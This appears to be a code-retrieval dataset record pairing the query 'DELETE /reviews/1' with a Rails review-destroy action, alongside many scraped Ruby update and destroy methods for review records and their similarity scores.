"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_review\n @review = Review.find(params[:id])\n @review.update(params[:review])\n redirect \"/reviews/#{@review.id}\"\n end",
"def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n format.js {render nothing: true}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @user, notice: '评价更新成功' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @review.update(review_params)\n render :show, status: :ok, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @listing, notice: 'Review was updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review.publication, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params) && @review.revoke_approval!\n format.json { render :show, status: :ok, location: @review }\n else\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update_attributes(review_params)\n flash[:success] = \"Review updated\"\n format.html { redirect_to @review.user } # notice: 'Review was successfully updated.'\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = current_user.reviews.find_by_id(params[:id])\n if @review.nil?\n flash[:notice] = t(:review_not_found)\n return redirect_back_or_default()\n else\n @reviewable = @review.reviewable\n @review.content = params[:review][:content]\n @review.reviewable_id = params[:review][:reviewable_id]\n @review.reviewable_type = params[:review][:reviewable_type]\n end\n\n respond_to do |format|\n #if @review.update_attributes(params[:review])\n if @review.save\n format.html { redirect_to review_path(@review), :notice => t(:review_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to project_path(@project), notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book_review = BookReview.find(params[:id])\n\n respond_to do |format|\n if @book_review.update_attributes(params[:book_review])\n format.html { redirect_to @book_review, notice: 'Book review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n flash[:notice] = 'Review was successfully updated.'\n format.html { redirect_to(@review) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit_review(review_id, params = {})\n params = params.merge(v: \"2\")\n\n params[:read_at] = params[:read_at].strftime('%Y-%m-%d') if params[:read_at].is_a?(Time)\n\n params[:'review[review]'] = params.delete(:review) if params[:review]\n params[:'review[rating]'] = params.delete(:rating) if params[:rating]\n params[:'review[read_at]'] = params.delete(:read_at) if params[:read_at]\n\n # Documentation says that you should use HTTP PUT, but API returns\n # 401 Unauthorized when PUT is used instead of POST\n data = oauth_request_method(:post, \"/review/#{review_id}.xml\", params)\n\n Hashie::Mash.new(data[\"review\"])\n end",
"def update\n @user = current_user\n @review = Review.find(params[:id])\n @review.update_attributes(review_params)\n render json: @review, include: [:movie]\n end",
"def update\n respond_to do |format|\n #If the params are filled in and valid, it redirects to the review page and shows the notice\n if @review.update(review_params)\n format.html { redirect_to @review, notice: t('review.update') }\n format.json { render :show, status: :ok, location: @review }\n #If it doesnt update then it refreshes the edit review page\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_review.update(item_review_params)\n format.html { redirect_to @item_review, notice: 'Item review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to vendor_path(@review.vendor, view: \"recomendacoes\"), notice: 'A sua avaliação foi atualizada com sucesso' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@book_review = BookReview.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @book_review.update_attributes(params[:book_review])\n\t\t\t\tformat.html { redirect_to @book_review, :notice => 'Book review was successfully updated.' }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.json { render :json => @book_review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @user_review.update!(user_review_params)\n format.html { redirect_to user_reviews_path, notice: 'User review was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_review }\n else\n format.html { render :edit }\n format.json { render json: @user_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: \"振り返りの更新に成功しました。\" }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @restaurant.present?\n if @review.present?\n if @review.update(review_params)\n render_json content: @review\n else\n render_json content: @review.errors\n end\n end\n end\n\n end",
"def update\n respond_to do |format|\n if @blade_review.update(blade_review_params)\n format.html { redirect_to blade_reviews_path, notice: 'Blade review was successfully updated.' }\n format.json { render :show, status: :ok, location: @blade_review }\n else\n format.html { render :edit }\n format.json { render json: @blade_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = Review.find(params[:id])\n\t\t@review = Review.find(params[:id])\n\t\tif @review.update(review_params)\n\t\t\tredirect_to share_reviews_path(@share), notice: 'Review successfully updated!'\n\t\telse\n\t\t\tflash[:alert] = \"Error : #{@review.errors.full_messages.to_sentence}\"\n\t\t\trender :edit\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @reviews_and_rating.update(reviews_and_rating_params)\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @reviews_and_rating }\n else\n format.html { render :edit }\n format.json { render json: @reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: \"レビューを更新しました\" }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_review.update(item_review_params)\n format.html { redirect_to @item_review, notice: 'Item review was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_review }\n else\n format.html { render :edit }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_pull_review(repo, pull_number, review_id, body, options = {})\n opts = options.dup\n opts[:body] = body\n put \"#{Repository.path repo}/pulls/#{pull_number}/reviews/#{review_id}\", opts\n end",
"def update\n respond_to do |format|\n if @critic_review.update(critic_review_params)\n format.html { redirect_to @critic_review, notice: 'Critic review was successfully updated.' }\n format.json { render :show, status: :ok, location: @critic_review }\n else\n format.html { render :edit }\n format.json { render json: @critic_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n @paper = @review.paper\n @rate = 0.0\n @top = 0.0\n @bottem = 0.0\n @paper.reviews.each do |review| \n @top += review.score * review.confidence\n @bottem += review.confidence\n end\n @rate = @top / @bottem\n @paper.update_attribute(:rating, @paper.rating = @rate)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n # Broadcast updated review on list from model.\n format.turbo_stream\n format.html { redirect_to recipe_path(@recipe, anchor: \"review_#{@review.id}\"), notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.turbo_stream do\n # Display errors.\n render turbo_stream: turbo_stream.replace(\"review_form_review_#{@review.id}\",\n partial: \"reviews/form\", locals: { recipe: @recipe, review: @review })\n end\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @first_review.update(first_review_params)\n format.html { redirect_to team_path(@first_review.team_id), notice: 'First review was successfully updated.' }\n format.json { render :show, status: :ok, location: @first_review }\n else\n format.html { render :edit }\n format.json { render json: @first_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = @album.review\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n flash[:notice] = \"Review '#{@review}' was successfully updated.\"\n format.html { redirect_to review_url(@review) }\n format.xml { head :ok }\n format.js { render :template => 'music/reviews/success' }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @review.errors.to_xml }\n format.js { render :template => 'music/reviews/error' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_review.update(admin_review_params)\n format.html { redirect_to admin_review_path(@admin_review), notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: admin_review_path(@admin_review) }\n else\n format.html { render :edit }\n format.json { render json: @admin_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to categories_url, notice: 'レビューの更新完了です！' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n @post.review!\n format.html { redirect_to @post, notice: 'Anúncio atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@review = Review.find(params[:id])\n\t\[email protected] = Establishment.find(params[:establishment])\n\t\[email protected] = Category.find(params[:category])\n\t\[email protected] = Clientele.find(params[:clientele])\n\t\[email protected]_level = SoundLevel.find(params[:sound_level])\n\t\[email protected] = Hygiene.find(params[:hygiene])\n\t\[email protected] = Rating.find(params[:rating])\n\n\t\trespond_to do |format|\n\t\t\tif @review.update_attributes(params[:review])\n\t\t\t\tformat.html { redirect_to(@review, :notice => 'Review was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @boo_k_review.update(boo_k_review_params)\n format.html { redirect_to @boo_k_review, notice: 'Boo k review was successfully updated.' }\n format.json { render :show, status: :ok, location: @boo_k_review }\n else\n format.html { render :edit }\n format.json { render json: @boo_k_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product = Product.find(params[:product_id])\n @review = Review.find(params[:id])\n\n authorize! :update, @review\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @product, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\[email protected]_id = current_user.id\n\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n\t\tformat.js\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n\t\tformat.js { render 'shared/errors' }\n end\n end\n end",
"def update\n\t\t@review = Review.find(params[:id])\n\n\t\tif @review.update(review_params.merge(:contract_id => @review.contract_id))\n\t\t\tredirect_to @review\n\t\telse\n\t\t\trender 'edit'\n\t\t\t# => Error when updating empty body element.\n\t\tend\n\tend",
"def update\n respond_to_creative :ok, 'Review was successfully updated.', :edit\n end",
"def update\n respond_to do |format|\n if @food_review.update(food_review_params)\n format.html { redirect_to @food_review, notice: 'Food review was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_review }\n else\n format.html { render :edit }\n format.json { render json: @food_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bookreview.update(bookreview_params)\n format.html { redirect_to book_path(@bookreview.book_id), notice: 'Bookreview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bookreview.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_review.update(product_review_params)\n format.html { redirect_to @product_review, notice: 'Product review was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_review }\n else\n format.html { render :edit }\n format.json { render json: @product_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @reviews = args[:reviews] if args.key?(:reviews)\n @average_rating = args[:average_rating] if args.key?(:average_rating)\n @total_review_count = args[:total_review_count] if args.key?(:total_review_count)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def update\n if @review.update_attributes(review_params)\n redirect_to edit_review_path(@review), notice: (\"Review was successfully updated.\")\n else\n render action: \"edit\"\n end\n end",
"def update\n @establishment = Establishment.find(params[:establishemnt_id])\n @reviews = @establishment.reviews.find(params[:id])\n @reviews.update(params[:review].permit(:rating, :review_content))\n\n redirect_to @establishment\n=begin\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def update\n @review = Review.find(params[:id])\n\n if @review.update_attributes(params[:review])\n\t\t\tredirect_to reviews_path, :notice => \"De waardering is aangepast.\"\n else\n\t\t\tredirect_to reviews_path, :notice => \"De aanpassing kan op dit moment niet worden doorgevoerd. Het is mogelijk dat je meer dan drie referenties wilt aanvinken voor op de voorpagina.\"\n end\n end",
"def edit_review\n # client should be able to edit a review.\n puts \"Which review would you like to edit?\"\n pp Client.find_by(name: @@client_name).reviews\n puts \"Please enter the ID\"\n input = gets.strip\n selected_review = Review.find_by(id: input)\n puts \"What would you like for the new review to say?\"\n input = gets.strip\n selected_review.update(text_body: input)\n puts \"Your review has been updated, here's the new review:\"\n pp selected_review\n client_continue\n end",
"def update\n if @review.update(review_params)\n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :ok\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @review_id = args[:review_id] if args.key?(:review_id)\n @reviewer = args[:reviewer] if args.key?(:reviewer)\n @star_rating = args[:star_rating] if args.key?(:star_rating)\n @comment = args[:comment] if args.key?(:comment)\n @create_time = args[:create_time] if args.key?(:create_time)\n @update_time = args[:update_time] if args.key?(:update_time)\n @review_reply = args[:review_reply] if args.key?(:review_reply)\n end",
"def update\n @review = Review.find(params[:id])\n # respond_to do |format|\n \n if @review.update(review_params)\n flash[:success] = '店舗情報を修正しました。'\n redirect_to reviews_path(@review)\n else\n render 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @visitor_review.update(visitor_review_params)\n format.html { redirect_to @visitor_review, notice: 'Visitor review was successfully updated.' }\n format.json { render :show, status: :ok, location: @visitor_review }\n else\n format.html { render :edit }\n format.json { render json: @visitor_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @restaurant_review.update(restaurant_review_params)\n format.html { redirect_to @restaurant_review, notice: 'Restaurant review was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant_review }\n else\n format.html { render :edit }\n format.json { render json: @restaurant_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hm_review.update(hm_review_params)\n format.html { redirect_to @hm_review, notice: 'Hm review was successfully updated.' }\n format.json { render :show, status: :ok, location: @hm_review }\n else\n format.html { render :edit }\n format.json { render json: @hm_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_nature_of_review.update(admin_nature_of_review_params)\n format.html { redirect_to @admin_nature_of_review, notice: 'Nature of review was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_nature_of_review }\n else\n format.html { render :edit }\n format.json { render json: @admin_nature_of_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if current_user.blank?\n redirect_to professor_course_path(\n @review.professor_id,\n @review.course_id\n ),\n notice: 'You must be\n logged in to update a review.'\n else\n @review.authuser_id = current_user.id\n respond_to do |format|\n if @review.update(review_params)\n format.html do\n redirect_to professor_course_path(\n @review.professor_id,\n @review.course_id\n ),\n notice: 'Review was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @review }\n else\n format.html do\n @courses = load_courses\n @professors = load_professors\n render :edit\n end\n format.json do\n render json: @review.errors, status: :unprocessable_entity\n end\n end\n end\n end\n end",
"def update\n movie = Movie.find(params[:movie_id])\n review = Review.find(params[:id])\n review.update(review_params)\n redirect_to '/movies/#{movies.id}/reviews/#{review.id}'\n end",
"def update\n respond_to do |format|\n if @review.update(review_params)\n flash[:success] = \"수정 성공\"\n format.html { redirect_to @review }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @review.update(review_params)\n redirect_to @review.story, notice: 'Review was successfully updated.'\n else\n render :edit\n end\n end",
"def update\n respond_to do |format|\n if @event_review.update(event_review_params)\n format.html { redirect_to @event_review, notice: 'Event review was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_review }\n else\n format.html { render :edit }\n format.json { render json: @event_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @correction_review.update(correction_review_params)\n format.html { redirect_to @correction_review, notice: 'Correction review was successfully updated.' }\n format.json { render :show, status: :ok, location: @correction_review }\n else\n format.html { render :edit }\n format.json { render json: @correction_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t\t\trender_invalid_action(current_review) unless current_review.update(update_driver_review_params)\n\t\t\tend",
"def update\n respond_to do |format|\n if @employee_review.update(employee_review_params)\n format.html { redirect_to @employee_review, notice: 'Employee review was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_review }\n else\n format.html { render :edit }\n format.json { render json: @employee_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reviewable_object = current_user.reviewable_objects.find(params[:id])\n\n respond_to do |format|\n if @reviewable_object.update_attributes(params[:reviewable_object])\n format.html { redirect_to @reviewable_object, notice: 'Reviewable object was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reviewable_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_review = UserReview.find(params[:id])\n\n respond_to do |format|\n if @user_review.update_attributes(params[:user_review])\n flash[:notice] = 'UserReview was successfully updated.'\n format.html { redirect_to(@user_review) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @auditreview.update(auditreview_params)\n format.html { redirect_to action: \"index\", notice: 'Auditreview was successfully updated.' }\n format.json { render :show, status: :ok, location: @auditreview }\n else\n format.html { render :edit }\n format.json { render json: @auditreview.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @review = Employee.find(params[:id])\n\n respond_to do |format|\n @review.reviewed = true; @review.score = params[:employee][:score];\n if @review.save\n format.html { redirect_to admin_reviews_path, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if (allowAccessIfOwnerNameIsOrRankAtLeast(\"#{@review.poster}\", 1))\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n end\n end\n else\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n flash[:notice] = 'You do not have permission to edit this review'\n\n end\n end\n end",
"def update\n respond_to do |format|\n if @company_review.update(company_review_params)\n format.html { redirect_to @company_review, notice: 'Company review was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_review }\n else\n format.html { render :edit }\n format.json { render json: @company_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @review = Review.find(params[:id])\n unless current_user.is_review_moderator? or current_user = @review.user\n redirect_to denied_path\n return\n end\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to(@review, :notice => 'Review was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update_review_with_http_info(account_id, review_id, v, review_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ReviewsApi.update_review ...\"\n end\n # verify the required parameter 'account_id' is set\n fail ArgumentError, \"Missing the required parameter 'account_id' when calling ReviewsApi.update_review\" if account_id.nil?\n # verify the required parameter 'review_id' is set\n fail ArgumentError, \"Missing the required parameter 'review_id' when calling ReviewsApi.update_review\" if review_id.nil?\n # verify the required parameter 'v' is set\n fail ArgumentError, \"Missing the required parameter 'v' when calling ReviewsApi.update_review\" if v.nil?\n # verify the required parameter 'review_request' is set\n fail ArgumentError, \"Missing the required parameter 'review_request' when calling ReviewsApi.update_review\" if review_request.nil?\n # resource path\n local_var_path = \"/accounts/{accountId}/reviews/{reviewId}\".sub('{format}','json').sub('{' + 'accountId' + '}', account_id.to_s).sub('{' + 'reviewId' + '}', review_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'v'] = v\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(review_request)\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'IdResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ReviewsApi#update_review\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @app = App.find(params[:id])\n \n respond_to do |format|\n if @app.update_attributes(params[:app]) and @app.rating.update_attributes(params[:rating])\n format.xml { head :ok }\n format.json { head :ok } \n else\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n format.json { render :json => @app.errors, :status => :unprocessable_entity } \n end\n end\n end"
] |
[
"0.74383867",
"0.7083873",
"0.7033043",
"0.7033043",
"0.7033043",
"0.69490635",
"0.6926377",
"0.69172275",
"0.69172275",
"0.69172275",
"0.69172275",
"0.6889173",
"0.6832784",
"0.6780694",
"0.6780694",
"0.6780694",
"0.673641",
"0.67214686",
"0.67171437",
"0.67171437",
"0.67171437",
"0.67171437",
"0.67171437",
"0.67171437",
"0.67171437",
"0.67159104",
"0.6659898",
"0.6653022",
"0.6626908",
"0.659542",
"0.65953666",
"0.6588974",
"0.65708774",
"0.65579706",
"0.65211",
"0.65190893",
"0.64671475",
"0.64505756",
"0.6443462",
"0.6434676",
"0.64294934",
"0.6396496",
"0.63710743",
"0.63695174",
"0.6366658",
"0.6357558",
"0.63477015",
"0.634514",
"0.6338492",
"0.63341343",
"0.63263303",
"0.6294238",
"0.6290037",
"0.6272734",
"0.6264929",
"0.6257288",
"0.6248365",
"0.6244321",
"0.62274855",
"0.6222917",
"0.6217321",
"0.62172484",
"0.619707",
"0.61752355",
"0.6171336",
"0.6170944",
"0.6167791",
"0.61497325",
"0.6127325",
"0.6121757",
"0.61200476",
"0.6115944",
"0.61132187",
"0.61109877",
"0.6104142",
"0.6092443",
"0.60876405",
"0.6075481",
"0.6072627",
"0.6070207",
"0.60379755",
"0.60370106",
"0.60331064",
"0.60203576",
"0.6013654",
"0.60067815",
"0.5980862",
"0.5980444",
"0.59765154",
"0.5967945",
"0.5965461",
"0.59593946",
"0.5954329",
"0.5947484",
"0.59396905",
"0.59372014",
"0.59089607",
"0.5899511",
"0.58947355",
"0.5871703"
] |
0.62174875
|
60
|
DELETE /reviews/1 DELETE /reviews/1.json
|
def destroy
@review.destroy
respond_to do |format|
format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }
format.json { head :no_content }
format.js
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _reviews_delete(id)\n delete id.to_s\n _response_status(204, last_response)\n end",
"def destroy\n @review = reviewable.reviews.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewable_reviews_url(reviewable) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = current_user\n @review = Review.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n review = Review.find_by(id: params[:id]).destroy\n render json: review\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(reviews_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(reviews_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_review.destroy\n respond_to do |format|\n format.html { redirect_to item_reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
